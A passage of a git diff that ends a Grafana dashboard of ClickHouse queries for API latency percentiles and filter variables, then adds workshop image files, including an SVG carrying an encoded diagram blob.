time\nORDER BY time", + "refId": "p50" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.75)(CAST(LogAttributes['response_duration'] AS INT)) as p75\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p75" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.90)(CAST(LogAttributes['response_duration'] AS INT)) as p90\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p90" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.95)(CAST(LogAttributes['response_duration'] AS INT)) as p95\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p95" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.99)(CAST(LogAttributes['response_duration'] AS INT)) as p99\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p99" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.999)(CAST(LogAttributes['response_duration'] AS INT)) as p999\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p999" + } + ], + "title": "Request latency", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "(.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + } + ], + "repeat": "api_id", + "repeatDirection": "h", + "title": "API '$api_id' Stats", + "type": "row" + } + ], + "refresh": "", + "schemaVersion": 38, + "style": "dark", + "tags": [], + "templating": { + "list": [ + { + "allValue": "", + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "Select DISTINCT (LogAttributes['api_id'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['api_id'] IS NOT NULL AND\n LogAttributes['api_id'] != '' AND\n LogAttributes['api_id'] != ''", + "description": "Api ID", + "hide": 0, + "includeAll": true, + "label": "Api ID", + "multi": true, + "name": "api_id", + "options": [], + "query": "Select DISTINCT (LogAttributes['api_id'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['api_id'] IS NOT NULL AND\n LogAttributes['api_id'] != '' AND\n LogAttributes['api_id'] != ''", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "allValue": "", + "current": { + "selected": true, + "text": [ + "gold" + ], + "value": [ + "gold" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "Select DISTINCT(LogAttributes['usage_plan'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['usage_plan'] IS NOT NULL AND\n LogAttributes['usage_plan'] != '' AND\n LogAttributes['usage_plan'] != ''", + "description": "Usage Plan", + "hide": 0, + "includeAll": true, + "label": "Usage Plan", + "multi": true, + "name": "usage_plan", + "options": [], + "query": "Select DISTINCT(LogAttributes['usage_plan'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['usage_plan'] IS NOT NULL AND\n LogAttributes['usage_plan'] != '' AND\n LogAttributes['usage_plan'] != ''", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['request_uri']) requestUri from gloo_api_logs", + "description": "Request path", + "hide": 0, + "includeAll": true, + "label": "Request URI", + "multi": true, + "name": "request_uri", + "options": [], + "query": "select distinct(LogAttributes['request_uri']) requestUri from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['request_command']) as requestCommand from gloo_api_logs", + "hide": 0, + "includeAll": true, + "label": "HTTP Method", + "multi": true, + "name": "http_method", + "options": [], + "query": "select distinct(LogAttributes['request_command']) as requestCommand from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 0, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['status_code']) as statusCode from gloo_api_logs", + "hide": 0, + "includeAll": true, + "label": "Status Code", + "multi": true, + "name": "status_code", + "options": [], + "query": "select distinct(LogAttributes['status_code']) as statusCode from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "allValue": "All", + "current": { + "selected": false, + "text": "All", + "value": "$__all" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['user_id']) as userId from gloo_api_logs\nwhere userId like '$filter_users%' AND userId != ''\nLIMIT 100", + "hide": 0, + "includeAll": true, + "label": "User ID", + "multi": false, + "name": "user_id", + "options": [], + "query": "select distinct(LogAttributes['user_id']) as userId from gloo_api_logs\nwhere userId like '$filter_users%' AND userId != ''\nLIMIT 100", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": false, + "text": "", + "value": "" + }, + "hide": 0, + "label": "Filter Users", + "name": "filter_users", + "options": [ + { + "selected": true, + "text": "", + "value": "" + } + ], + "query": "", + "skipUrlSync": false, + "type": "textbox" + } + ] + }, + "time": { + "from": "now-1h", + "to": "now" + }, + "timepicker": {}, + "timezone": "", + "title": "API Dashboard", + "uid": "db93be88-8cd4-4c32-8a37-83fbca40e3f0", + "version": 1, + "weekStart": "" + } \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/.gitkeep b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-gateway.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-gateway.png new file mode 100644 index 0000000000..71255deb29 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-gateway.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-mesh-enterprise.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-mesh-enterprise.png new file mode 100644 index 0000000000..a14bc9e23f Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-mesh-enterprise.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-mesh-graph.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-mesh-graph.png new file mode 100644 index 0000000000..e17c49c138 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-mesh-graph.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-products.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-products.png new file mode 100644 index 0000000000..f45b1660b9 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/gloo-products.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcYlx1MDAwNKTgPIzql6uCf95cdTAwMTlKXHUwMDE0XGJCXHUwMDEw0oqL7+WpXGJNvNhcdTAwMTFcdTAwMDRZosO3m3jBg0vyXHUwMDEzzDjXRPDoXHUwMDA3JeFO4piGJitFLCy5xMCDilx07Vx1MDAwZeaTiFlKflLeXHUwMDA1JYpyzlx1MDAxMWZU+LXyW5p3gblmXGI4XHUwMDAy7y7AKVx1MDAxNsHJ4YeKXHUwMDA37sRcdTAwMGImiUJUXHUwMDExKVx1MDAwNVx1MDAxNo6U44NtZ16E+1